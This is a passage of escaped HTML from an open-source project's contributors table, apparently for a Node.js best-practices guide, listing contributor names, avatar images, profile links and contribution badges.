alt=\"arjun6610\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>arjun6610</b></sub></a><br /><a href=\"#content-arjun6610\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jan-osch\"><img src=\"https://avatars2.githubusercontent.com/u/11651780?v=4\" width=\"100px;\" alt=\"Jan Osch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Osch</b></sub></a><br /><a href=\"#content-jan-osch\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/thiagotrs\"><img src=\"https://avatars2.githubusercontent.com/u/32005779?v=4\" width=\"100px;\" alt=\"Thiago Rotondo Sampaio\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href=\"#translation-thiagotrs\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alexsey\"><img src=\"https://avatars0.githubusercontent.com/u/6392013?v=4\" width=\"100px;\" alt=\"Alexsey\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alexsey</b></sub></a><br /><a href=\"#content-Alexsey\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/13luismb\"><img src=\"https://avatars1.githubusercontent.com/u/32210483?v=4\" width=\"100px;\" alt=\"Luis A. Acurero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Luis A. Acurero</b></sub></a><br /><a href=\"#translation-13luismb\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lromano97.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22394847?v=4\" width=\"100px;\" alt=\"Lucas Romano\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Romano</b></sub></a><br /><a href=\"#translation-lromano97\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/denisecase\"><img src=\"https://avatars0.githubusercontent.com/u/13016516?v=4\" width=\"100px;\" alt=\"Denise Case\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Denise Case</b></sub></a><br /><a href=\"#content-denisecase\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://stackoverflow.com/story/elektronik\"><img src=\"https://avatars3.githubusercontent.com/u/1078554?v=4\" width=\"100px;\" alt=\"Nick Ribal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nick Ribal</b></sub></a><br /><a href=\"#content-elektronik2k5\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5\" title=\"Reviewed Pull Requests\">👀</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/0xflotus\"><img src=\"https://avatars3.githubusercontent.com/u/26602940?v=4\" width=\"100px;\" alt=\"0xflotus\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>0xflotus</b></sub></a><br /><a href=\"#content-0xflotus\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.dijonkitchen.org/\"><img src=\"https://avatars3.githubusercontent.com/u/11434205?v=4\" width=\"100px;\" alt=\"Jonathan Chen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Chen</b></sub></a><br /><a href=\"#content-dijonkitchen\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dilansri\"><img src=\"https://avatars2.githubusercontent.com/u/5089728?v=4\" width=\"100px;\" alt=\"Dilan Srilal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dilan Srilal</b></sub></a><br /><a href=\"#content-dilansri\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://vectree.ru\"><img src=\"https://avatars3.githubusercontent.com/u/4215285?v=4\" width=\"100px;\" alt=\"vladthelittleone\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>vladthelittleone</b></sub></a><br /><a href=\"#translation-vladthelittleone\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.nikolaso.com\"><img src=\"https://avatars0.githubusercontent.com/u/60047271?v=4\" width=\"100px;\" alt=\"Nik Osvalds\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nik Osvalds</b></sub></a><br /><a href=\"#content-nosvalds\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kdaniel21\"><img src=\"https://avatars0.githubusercontent.com/u/39854385?v=4\" width=\"100px;\" alt=\"Daniel Kiss\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniel Kiss</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21\" title=\"Documentation\">📖</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/forresst17\"><img src=\"https://avatars2.githubusercontent.com/u/163352?v=4\" width=\"100px;\" alt=\"Forresst\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Forresst</b></sub></a><br /><a href=\"#content-forresst\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/svenheden\"><img src=\"https://avatars1.githubusercontent.com/u/76098?v=4\" width=\"100px;\" alt=\"Jonathan Svenheden\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Svenheden</b></sub></a><br /><a href=\"#content-svenheden\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AustrisC\"><img src=\"https://avatars2.githubusercontent.com/u/12381652?v=4\" width=\"100px;\" alt=\"AustrisC\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>AustrisC</b></sub></a><br /><a href=\"#content-AustrisC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cisco0808\"><img src=\"https://avatars0.githubusercontent.com/u/60251188?v=4\" width=\"100px;\" alt=\"kyeongtae kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kyeongtae kim</b></sub></a><br /><a href=\"#translation-cisco0808\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://keybase.io/651z9pz968v2accj\"><img src=\"https://avatars.githubusercontent.com/u/65741741?v=4\" width=\"100px;\" alt=\"007\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>007</b></sub></a><br /><a href=\"#content-6gx7iycn53ioq2e8apk1j1ypwov4giui\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.anediaz.com\"><img src=\"https://avatars.githubusercontent.com/u/17216937?v=4\" width=\"100px;\" alt=\"Ane Diaz de Tuesta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href=\"#translation-anediaz\" title=\"Translation\">🌍</a> <a href=\"#content-anediaz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://yukioh.net\"><img src=\"https://avatars.githubusercontent.com/u/23182489?v=4\" width=\"100px;\" alt=\"YukiOta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>YukiOta</b></sub></a><br /><a href=\"#translation-YukiOta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yeovilhospital.co.uk/\"><img src=\"https://avatars.githubusercontent.com/u/43814140?v=4\" width=\"100px;\" alt=\"Frazer Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Frazer Smith</b></sub></a><br /><a href=\"#content-Fdawgs\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rluvaton\"><img src=\"https://avatars.githubusercontent.com/u/16746759?v=4\" width=\"100px;\" alt=\"Raz Luvaton\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Raz Luvaton</b></sub></a><br /><a href=\"#content-rluvaton\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/YA21\"><img src=\"https://avatars.githubusercontent.com/u/37298463?v=4\" width=\"100px;\" alt=\"Yuta Azumi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuta Azumi</b></sub></a><br /><a href=\"#content-YA21\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/andrewjbarbour\"><img src=\"https://avatars.githubusercontent.com/u/77080074?v=4\" width=\"100px;\" alt=\"andrewjbarbour\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>andrewjbarbour</b></sub></a><br /><a href=\"#content-andrewjbarbour\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://MasujimaRyohei.jp\"><img src=\"https://avatars.githubusercontent.com/u/17163541?v=4\" width=\"100px;\" alt=\"mr\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mr</b></sub></a><br /><a href=\"#content-MasujimaRyohei\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kubanac95\"><img src=\"https://avatars.githubusercontent.com/u/16191931?v=4\" width=\"100px;\" alt=\"Aleksandar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aleksandar</b></sub></a><br /><a href=\"#content-kubanac95\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://vincentjonathan.com\"><img src=\"https://avatars.githubusercontent.com/u/32597776?v=4\" width=\"100px;\" alt=\"Owl\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Owl</b></sub></a><br /><a href=\"#content-SuspiciousLookingOwl\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/yedidyas\"><img src=\"https://avatars.githubusercontent.com/u/36074789?v=4\" width=\"100px;\" alt=\"Yedidya Schwartz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yedidya Schwartz</b></sub></a><br /><a href=\"#content-yedidyas\" title=\"Content\">🖋</a> <a href=\"#example-yedidyas\" title=\"Examples\">💡</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ariel-diaz\"><img src=\"https://avatars.githubusercontent.com/u/20423540?v=4\" width=\"100px;\" alt=\"ari\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ari</b></sub></a><br /><a href=\"#content-ariel-diaz\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.koenigthomas.de/\"><img src=\"https://avatars.githubusercontent.com/u/7080389?v=4\" width=\"100px;\" alt=\"Thomas König\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thomas König</b></sub></a><br /><a href=\"#content-Vispercept\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/coocos\"><img src=\"https://avatars.githubusercontent.com/u/1397804?v=4\" width=\"100px;\" alt=\"Kalle Lämsä\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kalle Lämsä</b></sub></a><br /><a href=\"#content-coocos\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://math.cat\"><img src=\"https://avatars.githubusercontent.com/u/10328430?v=4\" width=\"100px;\" alt=\"Wyatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Wyatt</b></sub></a><br /><a href=\"#content-ZhyMC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://libkhadir.fr\"><img src=\"https://avatars.githubusercontent.com/u/45130488?v=4\" width=\"100px;\" alt=\"KHADIR Tayeb\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>KHADIR Tayeb</b></sub></a><br /><a href=\"#content-tkhadir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shankarregmi\"><img src=\"https://avatars.githubusercontent.com/u/7703345?v=4\" width=\"100px;\" alt=\"Shankar Regmi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shankar Regmi</b></sub></a><br /><a href=\"#content-shankarregmi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/codebyshubham\"><img src=\"https://avatars.githubusercontent.com/u/10389723?v=4\" width=\"100px;\" alt=\"Shubham\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shubham</b></sub></a><br /><a href=\"#content-codebyshubham\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://lucalves.me/\"><img src=\"https://avatars.githubusercontent.com/u/17712401?v=4\" width=\"100px;\" alt=\"Lucas Alves\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Alves</b></sub></a><br /><a href=\"#content-lucalves\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/benjaminudoh10\"><img src=\"https://avatars.githubusercontent.com/u/9018331?v=4\" width=\"100px;\" alt=\"Benjamin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin</b></sub></a><br /><a href=\"#content-benjaminudoh10\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yjoer.com\"><img src=\"https://avatars.githubusercontent.com/u/47742486?v=4\" width=\"100px;\" alt=\"Yeoh Joer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yeoh Joer</b></sub></a><br /><a href=\"#content-yjoer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blog.miigon.net\"><img src=\"https://avatars.githubusercontent.com/u/16161991?v=4\" width=\"100px;\" alt=\"Miigon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Miigon</b></sub></a><br /><a href=\"#content-Miigon\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://brainstorage.me/Egregor2011\"><img src=\"https://avatars.githubusercontent.com/u/3630318?v=4\" width=\"100px;\" alt=\"Rostislav Bogorad\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rostislav Bogorad</b></sub></a><br /><a href=\"#content-Egregor2011\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Flouse\"><img src=\"https://avatars.githubusercontent.com/u/1297478?v=4\" width=\"100px;\" alt=\"Flouse\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Flouse</b></sub></a><br /><a href=\"#content-Flouse\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://taranttini.com\"><img src=\"https://avatars.githubusercontent.com/u/6922125?v=4\" width=\"100px;\" alt=\"Tarantini Pereira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tarantini Pereira</b></sub></a><br /><a href=\"#content-taranttini\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kzmat\"><img src=\"https://avatars.githubusercontent.com/u/34614358?v=4\" width=\"100px;\" alt=\"Kazuki Matsuo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kazuki Matsuo</b></sub></a><br /><a href=\"#content-kzmat\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/burkybang\"><img src=\"https://avatars.githubusercontent.com/u/927886?v=4\" width=\"100px;\" alt=\"Adam Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Adam Smith</b></sub></a><br /><a href=\"#content-burkybang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://codekodo.tistory.com\"><img src=\"https://avatars.githubusercontent.com/u/33795856?v=4\" width=\"100px;\" alt=\"Dohyeon Ko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dohyeon Ko</b></sub></a><br /><a href=\"#content-k906506\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vlad99902\"><img src=\"https://avatars.githubusercontent.com/u/67615003?v=4\" width=\"100px;\" alt=\"Vladislav Legkov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vladislav Legkov</b></sub></a><br /><a href=\"#content-vlad99902\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kerolloz.github.io\"><img src=\"https://avatars.githubusercontent.com/u/36763164?v=4\" width=\"100px;\" alt=\"Kerollos Magdy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kerollos Magdy</b></sub></a><br /><a href=\"#content-kerolloz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/erez-lieberman-b90b7219/\"><img src=\"https://avatars.githubusercontent.com/u/3277260?v=4\" width=\"100px;\" alt=\"Erez Lieberman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Erez Lieberman</b></sub></a><br /><a href=\"#content-erezLieberman\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\"><img src=\"https://avatars.githubusercontent.com/u/48841329?v=4\" width=\"100px;\" alt=\"Breno Macedo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Breno Macedo</b></sub></a><br /><a href=\"#content-breno404\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JFernando122\"><img src=\"https://avatars.githubusercontent.com/u/40414805?v=4\" width=\"100px;\" alt=\"Fernando Flores\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fernando Flores</b></sub></a><br /><a href=\"#translation-JFernando122\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/rafaelconcept/\"><img src=\"https://avatars.githubusercontent.com/u/43880669?v=4\" width=\"100px;\" alt=\"Rafael Brito\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rafael Brito</b></sub></a><br /><a href=\"#translation-rafaelconcept\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://emiliano-peralta-portfolio.vercel.app/\"><img src=\"https://avatars.githubusercontent.com/u/63617637?v=4\" width=\"100px;\" alt=\"Emiliano Peralta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Emiliano Peralta</b></sub></a><br /><a href=\"#translation-emiperalta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lannex.github.io\"><img src=\"https://avatars.githubusercontent.com/u/7369541?v=4\" width=\"100px;\" alt=\"Shin, SJ\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shin, SJ</b></sub></a><br /><a href=\"#content-lannex\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.benjaminforster.com\"><img src=\"https://avatars.githubusercontent.com/u/12589522?v=4\" width=\"100px;\" alt=\"Benjamin Forster\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Forster</b></sub></a><br /><a href=\"#content-e-e-e\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DanieleFedeli\"><img src=\"https://avatars.githubusercontent.com/u/37077048?v=4\" width=\"100px;\" alt=\"Daniele Fedeli\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniele Fedeli</b></sub></a><br /><a href=\"#content-DanieleFedeli\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/djob195\"><img src=\"https://avatars.githubusercontent.com/u/17146669?v=4\" width=\"100px;\" alt=\"djob195\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>djob195</b></sub></a><br /><a href=\"#content-djob195\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/antspk\"><img src=\"https://avatars.githubusercontent.com/u/78955792?v=4\" width=\"100px;\" alt=\"antspk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>antspk</b></sub></a><br /><a href=\"#content-antspk\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jjy0821.tistory.com/\"><img src=\"https://avatars.githubusercontent.com/u/88075341?v=4\" width=\"100px;\" alt=\"정진영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>정진영</b></sub></a><br /><a href=\"#content-jjy821\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kkk-cashwalk\"><img src=\"https://avatars.githubusercontent.com/u/91455122?v=4\" width=\"100px;\" alt=\"kkk-cashwalk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kkk-cashwalk</b></sub></a><br /><a href=\"#content-kkk-cashwalk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/apainintheneck\"><img src=\"https://avatars.githubusercontent.com/u/42982186?v=4\" width=\"100px;\" alt=\"apainintheneck\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>apainintheneck</b></sub></a><br /><a href=\"#content-apainintheneck\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/koyanyaroo\"><img src=\"https://avatars.githubusercontent.com/u/9715368?v=4\" width=\"100px;\" alt=\"Fajar Budhi Iswanda\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href=\"#content-koyanyaroo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jutiger\"><img src=\"https://avatars.githubusercontent.com/u/97490806?v=4\" width=\"100px;\" alt=\"이주호\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>이주호</b></sub></a><br /><a href=\"#content-jutiger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MisterSingh\"><img src=\"https://avatars.githubusercontent.com/u/44462019?v=4\" width=\"100px;\" alt=\"Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Singh</b></sub></a><br /><a href=\"#content-MisterSingh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alex-Dumitru\"><img src=\"https://avatars.githubusercontent.com/u/43738450?v=4\" width=\"100px;\" alt=\"Alex Dumitru\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alex Dumitru</b></sub></a><br /><a href=\"#content-Alex-Dumitru\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lykhatskyi\"><img src=\"https://avatars.githubusercontent.com/u/18104686?v=4\" width=\"100px;\" alt=\"Anton Lykhatskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Anton Lykhatskyi</b></sub></a><br /><a href=\"#content-lykhatskyi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/EverythingAvailable\"><img src=\"https://avatars.githubusercontent.com/u/81002379?v=4\" width=\"100px;\" alt=\"sangwonlee\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>sangwonlee</b></sub></a><br /><a href=\"#content-EverythingAvailable\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" 